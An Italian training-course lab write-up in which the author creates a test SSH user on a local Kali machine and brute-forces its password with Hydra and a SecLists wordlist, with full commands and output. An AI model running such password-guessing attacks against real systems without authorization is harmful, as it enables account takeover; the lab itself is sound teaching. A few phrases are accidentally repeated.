W14D5

HYDRA

La traccia

L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione

Ricordate che la configurazione dei servizi è essa stessa parte dell'esercizio

L'esercizio si svilupperà in due fasi:

- Una prima fase dove insieme vedremo **l'abilitazione di un servizio SSH** e la relativa sessione di cracking cracking dell'autenticazione con Hydra
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

Creazione utente ssh

Innanzitutto creiamo un utente di nome ‘testh’ con password ‘testpass’, startiamo il servizio ssh e infine lanciamo l’attacco.

```
┌──(kali㉿kali)-[~]
└─$ adduser testh
fatal: Only root may add a user or group to the system.

┌──(kali㉿kali)-[~]
└─$ sudo adduser testh
[sudo] password for kali:
info: Adding user `testh' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `testh' (1002) ...
info: Adding new user `testh' (1002) with group `testh (1002)' ...
info: Creating home directory `/home/testh' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for testh
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
```

```
┌──(kali㉿kali)-[~]
└─$ sudo service ssh start
[sudo] password for kali:
```

```
┌──(kali㉿kali)-[~]
└─$ sudo hydra -l testh -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt 127.0.0.1 ssh -t 32 -R
[sudo] password for kali:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

[INFORMATION] reading restore file ./hydra.restore
[WARNING] options after -R are now honored (since v8.6)
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-09 15:18:49
[DATA] max 32 tasks per 1 server, overall 32 tasks, 10000 login tries (l:1/p:10000), ~313 tries per task
[DATA] attacking ssh://127.0.0.1:22/
[STATUS] 2428.00 tries/min, 2428 tries in 00:01h, 7578 to do in 00:04h, 26 active
[STATUS] 896.00 tries/min, 2688 tries in 00:03h, 7319 to do in 00:09h, 25 active
[STATUS] 470.43 tries/min, 3293 tries in 00:07h, 6717 to do in 00:15h, 22 active
[STATUS] 335.67 tries/min, 4028 tries in 00:12h, 5982 to do in 00:18h, 22 active
[STATUS] 281.00 tries/min, 4777 tries in 00:17h, 5233 to do in 00:19h, 22 active
[22][ssh] host: 127.0.0.1   login: testh   password: testpass
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 21 final worker threads did not complete until end.
[ERROR] 21 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-09 15:38:51
```